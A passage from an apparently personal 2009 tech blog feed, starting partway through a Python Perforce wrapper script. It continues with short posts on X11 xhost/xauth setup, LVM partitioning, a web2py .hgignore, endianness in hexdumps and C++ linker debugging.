class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>()</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>8.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#FF7700;font-weight:bold'>if</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>__name__ ==<span class=apple-converted-space> </span></span></font><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:darkslateblue'>'__main__'</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>:<o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>9.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'> p4command =<span class=apple-converted-space> </span></span></font><span class=kw3><font size=1 color=crimson face="Courier New"><span style='font-size: 8.5pt;font-family:"Courier New";color:crimson'>sys</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>.<span class=me1>argv</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>[</span></font></span><span class=nu0><font size=1 color=orangered face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:orangered'>1</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>]</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>10.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> fullFiles =<span class=apple-converted-space> </span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#66CC66'>[]</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>11.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>12.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <span class=apple-converted-space> </span></span></font><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#FF7700;font-weight: bold'>for</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> </span></font></span><span class=kw2><font size=1 color=green face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:green'>file</span></font></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#FF7700;font-weight: bold'>in</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> </span></font></span><span class=kw3><font size=1 color=crimson face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:crimson'>sys</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>.<span class=me1>argv</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#66CC66'>[</span></font></span><span class=nu0><font size=1 color=orangered face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:orangered'>2</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>:</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:#66CC66'>]</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'>:<o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>13.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> fullPath = Popen</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>([</span></font></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:darkslateblue'>'readlink.exe -f '</span></font></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>+<span class=apple-converted-space> </span></span></font><span class=kw2><font size=1 color=green face="Courier New"><span style='font-size: 8.5pt;font-family:"Courier New";color:green'>file</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>]</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>, stdout=PIPE, shell=</span></font><span class=kw2><font size=1 color=green face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:green'>True</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#66CC66'>)</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>.<span class=me1>communicate</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#66CC66'>()[</span></font></span><span class=nu0><font size=1 color=orangered face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:orangered'>0</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>]</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>14.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> fullFiles.<span class=me1>append</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#66CC66'>(</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>win32Path</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:#66CC66'>(</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'>fullPath</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>))</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>15.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>16.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> newCommand =<span class=apple-converted-space> </span></span></font><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:darkslateblue'>'p4 %s %s'</span></font></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>%<span class=apple-converted-space> </span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>(</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>p4command,<span class=apple-converted-space> </span></span></font><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:darkslateblue'>' '</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>.<span class=me1>join</span></span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>(</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>fullFiles</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:#66CC66'>))</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>17.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>18.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <span class=apple-converted-space> </span></span></font><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#FF7700;font-weight: bold'>print</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> </span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'>newCommand<o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:white'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>19.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> check_call</span></font><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#66CC66'>(</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'>newCommand, shell=</span></font><span class=kw2><font size=1 color=green face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:green'>True</span></font></span><span class=br0><font size=1 color="#66cc66" face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:#66CC66'>)</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New"; color:black'><o:p></o:p></span></font></p> <p class=MsoNormal style='mso-margin-top-alt:auto;mso-margin-bottom-alt:auto; margin-left:.5in;text-indent:-.25in;mso-list:l1 level1 lfo2;background:#F8F8F8'><![if !supportLists]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><span style='mso-list:Ignore'>20.<font size=1 face="Times New Roman"><span style='font:7.0pt "Times New Roman"'> </span></font></span></span></font><![endif]><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> <span class=apple-converted-space> </span></span></font><span class=kw1><b><font size=1 color="#ff7700" face="Courier New"><span style='font-size:8.5pt;font-family:"Courier New";color:#FF7700;font-weight: bold'>print</span></font></b></span><span class=apple-converted-space><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'> </span></font></span><span class=st0><font size=1 color=darkslateblue face="Courier New"><span style='font-size:8.5pt; font-family:"Courier New";color:darkslateblue'>'done.'</span></font></span><font size=1 color=black face="Courier New"><span style='font-size:8.5pt;font-family: "Courier New";color:black'><o:p></o:p></span></font></p> <p class=MsoNormal><font size=2 face=Arial><span style='font-size:10.0pt; font-family:Arial'><o:p> </o:p></span></font></p> </span> <p class=MsoNormal><font size=3 face="Times New Roman"><span style='font-size: 12.0pt'><o:p> </o:p></span></font></p> </div> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-16957936554669221272009-09-02T16:32:00.001-07:002009-09-02T16:32:55.198-07:00The Trickyness that is called xhost, xauth, and X in general<div>Goal: Export a display from a linux client to a RHEL x-server with xauth security</div><div><br></div><div>I don't cover all of the details below, but just cover some gotchas. For some good details on xhost and xauth, see here:</div> <div><div><a href="http://tldp.org/HOWTO/Remote-X-Apps-6.html">http://tldp.org/HOWTO/Remote-X-Apps-6.html</a></div></div><div><br></div><div>Here are some things that might get in your way:</div><div><br></div><div><b>1) iptables</b></div> <div><br></div>RHEL blocks most ports out of the box. The iptables configuration is found here: /etc/sysconfig/iptables. After making changes, it can be reloaded by issuing this command: "service iptables restart". <div> <br></div><div>I noticed that ssh was connecting just fine, so I copied the line allowing port 22 connections and changed it to allow port 6000 (x11) connections. </div><div><div><div><br></div><div><b>2) xhost</b></div> <div><b><br></b></div><div>To disable host checking, issue the following: "xhost +". Warning: This opens up your system completely as well as disables xauth.</div><div><br></div><div>To reenable: "xhost -"</div> <div><br></div><div>To grant a host permission: "xhost +hostname"</div><div><br></div><div><b>3) xauth</b></div><div><br></div><div>Note: for xauth to work, xhost <a href="http://www.linuxquestions.org/questions/red-hat-31/xauth-doesnt-work-at-runlevel-5-and-everyone-can-access-my-x-server-433999/">cannot be disabled</a>. Also, if xhost is granting permission to your client, it won't bother to check with xauth. Moral of the story: Enable xhost, but don't add anything to it.</div> <div><br></div><div>To make sure xauth is being used on the x-server, issue the following: "ps aux | grep auth" and look at the output. You should see an .Xauthority (or similar file) being referenced.</div><div> <br></div><div>Both the client and the server must have the cookie for xauth to work. Run "xauth" and issue the command "list" at the prompt. On the server, things should be in terms of the server's hostname. On the client they should also be in terms of the server's hostname.</div> <div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div>Some errors related to the above gotchas:</div><div>No protocol specified</div><div>Xt error: Can't open display ip:0.0</div> <div><br></div><div><br></div><div><br></div><div><br></div></div></div> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-82794811693037720292009-08-25T08:20:00.001-07:002009-08-25T08:20:01.951-07:001776<div>Source: 1776 p 271</div><div>"Will it not be possible": Joseph Reed to George Washington, December 22, 1776 in PGW, VII, 415</div><div><br></div><div>It was time something was done. Something aggressive and surprising. Even failure would be preferable to doing nothing.</div> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-5101711996955300462009-08-24T12:57:00.001-07:002009-08-24T12:57:54.287-07:00Move /var to its own (logical) partition in LVM(all this using Oracle EL 5, aka RHEL 5...)<div><br></div><div>From memory, so there may be errors:<br><div><br></div><div><ol><li>Boot off of the installation cd using "linux rescue"</li><li>Unmount all of the drives in /mnt/syslinux</li> <ul><li>Note: Before unmounting /mnt/syslinux itself, you must unmount all of the mountpoints within it.</li></ul><li>$ resize2fs /dev/VolGroup00/ 5G</li><li>... boot back into regular linux ...</li><li>$ lvreduce -L 6GB /dev/VolGroup00 (answer yes)</li> <li>$ lvcreate -L 10G -n var VolGroup00</li><li>... boot back into rescue mode ...</li><li>mkdir /mnt/var</li><li>mkfs -t ext3 /dev/VolGroup00/var</li><li>mount -t ext3 /dev/VolGroup00/var/ /mnt/var</li><li>mv /mnt/syslinux/var* /mnt/var</li> <li>(edit fstab so that it mounts the new logical volume to /var)</li><li>resize2fs /dev/VolGroup00/LogVol00 (remember how I made this 5Gb when the LV was 6GB?)</li><li>reboot!</li></ol><br></div><div>On rebooting, syslogd had a problem starting. (Running in debug mode, it would complain of "permission denied" to /var/log/secure and all other log files). It was an SELinux problem and was remedied by <a href="http://www.engardelinux.org/doc/guides/selinux-quick-start-guide/selinux-quick-start-guide/x216.shtml">relabeling the filesystem.</a></div> <div><br></div></div> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-44403766450730789072009-08-12T10:26:00.001-07:002009-08-12T10:26:40.454-07:00Basic .hgignore for web2py<div>This should do the trick!</div><div><br></div><div>syntax: glob</div><div>*.pyc</div><div><br></div><div>syntax: regexp</div><div>^errors</div><div>^languages</div><div>^sessions</div><div>^static/output</div><div>^cache</div> <div>^cron</div><div><br></div> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com1tag:blogger.com,1999:blog-4380116814184566758.post-58354101238481031042009-07-22T11:26:00.001-07:002009-07-22T11:26:09.203-07:00Restoring a USB diskThe other day, I imaged a USB disk to do a linux install. The image was only a few hundred megabytes. When I was done, I couldn't get the USB drive to reformat to anything other than the size of the image. (thus wasting a large portion of the disk).<br> <br>Killdisk (<a href="http://www.killdisk.com/">http://www.killdisk.com/</a>) was a tool I found that pretty much writes the usb drive with zeros. I believe you only need to do so for a few minutes to overwrite the table which holds the partitions and then cancel it and upon reformatting it in windows, you'll discover that you've got all your space back!<br> Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-21122317776108993792009-07-15T16:14:00.000-07:002009-07-15T16:14:49.018-07:00Beautiful Auburn<div style="TEXT-ALIGN: center; MARGIN: 0px auto 10px"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnDqxFoX_VhxFELtyvY2WEAPAIjFuhrWjog_giT3J8MnWMsBMLd_7ia_4aegXFS-IBD8yRzarkLHuQJOaNmWd-ULG_n81L8FKXnGTJAbPOwqQeMnisGg7YtEavxfpFfXUEIHjLor8xPHY/s1600-h/IMG_0836.JPG"><img border="0" alt="" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnDqxFoX_VhxFELtyvY2WEAPAIjFuhrWjog_giT3J8MnWMsBMLd_7ia_4aegXFS-IBD8yRzarkLHuQJOaNmWd-ULG_n81L8FKXnGTJAbPOwqQeMnisGg7YtEavxfpFfXUEIHjLor8xPHY/s320/IMG_0836.JPG" /></a> </div><br />See <a href="http://picasaweb.google.com/jnewarner">http://picasaweb.google.com/jnewarner</a> for more<div style='clear:both; text-align:CENTER'><a href='http://picasa.google.com/blogger/' target='ext'><img src='http://photos1.blogger.com/pbp.gif' alt='Posted by Picasa' style='border: 0px none ; padding: 0px; background: transparent none repeat scroll 0% 50%; -moz-background-clip: initial; -moz-background-origin: initial; -moz-background-inline-policy: initial;' align='middle' border='0' /></a></div>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com1tag:blogger.com,1999:blog-4380116814184566758.post-10262972411182665562009-06-24T08:54:00.000-07:002009-06-24T20:56:33.979-07:00Byte ordering endianness mayhem! Aahh!<span style="font-weight: bold;"></span>Working with (binary) data structures written to files can be difficult due to the fact that a hexdump of a binary file may <span style="font-style: italic;">appear</span> to be out of order.<br /><br />The following example may illustrate the source of confusion. This simple python script will create three binary files. To each file we will write 01 02 03 04 split up in different ways.<br /><blockquote style="font-family:courier new;">from struct import *<br />open('1long.bin','wb').write(pack('L', 0x01020304))<br />open('2short.bin','wb').write(pack('HH', 0x0102, 0x0304))<br />open('4char.bin','wb').write(pack('BBBB', 0x01, 0x02, 0x03, 0x04))<br /></blockquote>We can hexdump them to see their contents:<br /><blockquote face="courier new">$ hexdump 1long.bin<br />0000000 <span style="font-weight: bold;">0304 0102</span> <span style="font-family:arial;">(this is the long: 0x01020304)</span><br />0000004<br /><br />$ hexdump 2short.bin<br />0000000 <span style="font-weight: bold;">0102 0304</span> <span style="font-family:arial;">(these are the 2 shorts: 0x0102, 0x0304)</span><br />0000004<br /><br />$ hexdump 4char.bin<br />0000000 <span style="font-weight: bold;">0201 0403</span> <span style="font-family:arial;">(these are the 4 chars: 0x01, 0x02, 0x03, 0x04)</span><br />0000004</blockquote>Before hexdumping, one <span style="font-style: italic;">might</span> suspect that the outputs would be the same, but they're not. Each gave a diffent ordering.<br /><br />These examples were run on a regular run-of-the-mill 32-bit Intel machine. These machines have a 16-bit word size (weird, yeah, I know) and use little-endian byte ordering. Little endian byte ordering means that the lest sigificant byte of any given data type, will go in the lowest-addressed memory space (or slot in a file on disk).<br /><br />The least significant byte of the long 0x01020304 is the "04". Why doesn't it appear on the far left in the hexdump such as this: 04 03 02 01?<br /><br />.... Need to finish writing in here ....<br /><br />Diagram that I drew showing how reordering address so they increase from right to left can help understand little-endian byte ordering:<br /><br /><br /><img src="file:///C:/DOCUME%7E1/gwarner/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS2lZpWX69hKnA6JXF7p-OT2aVmvaeBTd1oC2-iOc2iLZYNAFztqfAVm_Qaw-M5v6q_1EAQv1xOlE33JRdNmNRkIA6z_YGZ5B5fb0EjLSy1XIfhahe5UbCNrxGYgr2lEHpE9oERBL7JrU/s1600-h/screenshot.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 232px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS2lZpWX69hKnA6JXF7p-OT2aVmvaeBTd1oC2-iOc2iLZYNAFztqfAVm_Qaw-M5v6q_1EAQv1xOlE33JRdNmNRkIA6z_YGZ5B5fb0EjLSy1XIfhahe5UbCNrxGYgr2lEHpE9oERBL7JrU/s320/screenshot.jpg" alt="" id="BLOGGER_PHOTO_ID_5350931604223038674" border="0" /></a><br /><br />After googling around a bit, I found <a href="http://www.cygwin.com/ml/cygwin/2000-07/msg00012.html">a thread</a> which talks about how to reformat your hexdump so it is in big endian format (I believe). It's quite useful:<br /><br />$ od -tx1 -w16 -Ax 1long.bin<br />000000 04 03 02 01<br />000004<br />$ od -tx1 -w16 -Ax 2short.bin<br />000000 02 01 04 03<br />000004<br />$ od -tx1 -w16 -Ax 4char.bin<br />000000 01 02 03 04<br />000004<br /><br /><span style="font-weight: bold;"><br /><br /></span><span style="font-weight: bold;"><br /><br /></span>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com0tag:blogger.com,1999:blog-4380116814184566758.post-79525534334757186012009-03-13T12:30:00.000-07:002009-03-13T12:47:34.522-07:00c++ runtime "symbol lookup error"<blockquote></blockquote>I was working on a c++ project. Everything linked and compiled fine. Upon running the executable, I got the following error:<br /><blockquote>./<span class="blsp-spelling-error" id="SPELLING_ERROR_0">TestCppProgram</span>: symbol <span class="blsp-spelling-error" id="SPELLING_ERROR_1">lookup</span> error: ./<span class="blsp-spelling-error" id="SPELLING_ERROR_2">TestCppProgram</span>: undefined symbol: _ZN12<span class="blsp-spelling-error" id="SPELLING_ERROR_3">CppProgramC</span>1Ev</blockquote>I searched the <span class="blsp-spelling-error" id="SPELLING_ERROR_4">internet</span>. Two of the interesting links I found were the following:<br /><ul><li>http://osdir.com/ml/gcc.g++.general/2005-02/msg00061.html</li><li>http://www.linuxquestions.org/questions/linux-software-2/undefined-symbol-cout-263568/</li></ul>For me it ended up being a bad <span class="blsp-spelling-error" id="SPELLING_ERROR_5">LD</span>_LIBRARY_PATH. The path I intended the executable to find it's needed shared library was in the <span class="blsp-spelling-error" id="SPELLING_ERROR_6">LD</span>_LIBRARY_PATH, it just wasn't before a different path which had an older version of the needed shared library. (This happened to me when I updated by <span class="blsp-spelling-error" id="SPELLING_ERROR_7">bashrc</span> with a library path and just re-sourced it).<br /><br />Some cool commands in the debugging process:<br /><ul><li><span class="blsp-spelling-error" id="SPELLING_ERROR_8">ldd</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_9">TestCppProgram</span> (Shows you where your program is getting it's libraries from. An early-on careful inspection of this would've quickly let me to my problem!)</li><li><span class="blsp-spelling-error" id="SPELLING_ERROR_10">ldd</span> -d -r <span class="blsp-spelling-error" id="SPELLING_ERROR_11">TestCppProgram</span> (Shows you any undefined symbols. There shouldn't be any undefined symbols for an executable, but there will be for a shared lib if it depends on another shared lib. Somebody please correct me if I'm wrong)</li><li><span class="blsp-spelling-error" id="SPELLING_ERROR_12">nm</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_13">TestCppProgram</span> | c++<span class="blsp-spelling-error" id="SPELLING_ERROR_14">filt</span> (displays <span class="blsp-spelling-error" id="SPELLING_ERROR_15">unmangled</span> symbol information)<br /></li><li><span class="blsp-spelling-error" id="SPELLING_ERROR_16">nm</span> <span class="blsp-spelling-error" id="SPELLING_ERROR_17">TestCppProgram</span> (Displays mangled symbol information. <span class="blsp-spelling-error" id="SPELLING_ERROR_18">Ie</span>: You should be able to find stuff like ZN12<span class="blsp-spelling-error" id="SPELLING_ERROR_19">CppProgramC</span>1Ev in here. In my problem above, I found which line number the undefined symbol in question was on, and then looked it up in the <span class="blsp-spelling-error" id="SPELLING_ERROR_20">unmangled</span> version to see what function it was trying to resolve. It let me know, but it didn't really help me find out what my problem was.)</li><li><span class="blsp-spelling-error" id="SPELLING_ERROR_21">readelf</span> -d <span class="blsp-spelling-error" id="SPELLING_ERROR_22">TestCppProgram</span> (Shows library dependencies. similar to <span class="blsp-spelling-error" id="SPELLING_ERROR_23">ldd</span>.)<br /></li></ul>Greghttp://www.blogger.com/profile/09476585982697091505noreply@blogger.com14tag:blogger.com,1999:blog-4380116814184566758.post-37587152051768252572009-03-10T14:38:00.001-07:002009-03-10T14:38:38.927-07:00hex dump in the way I needed itxxd -g1 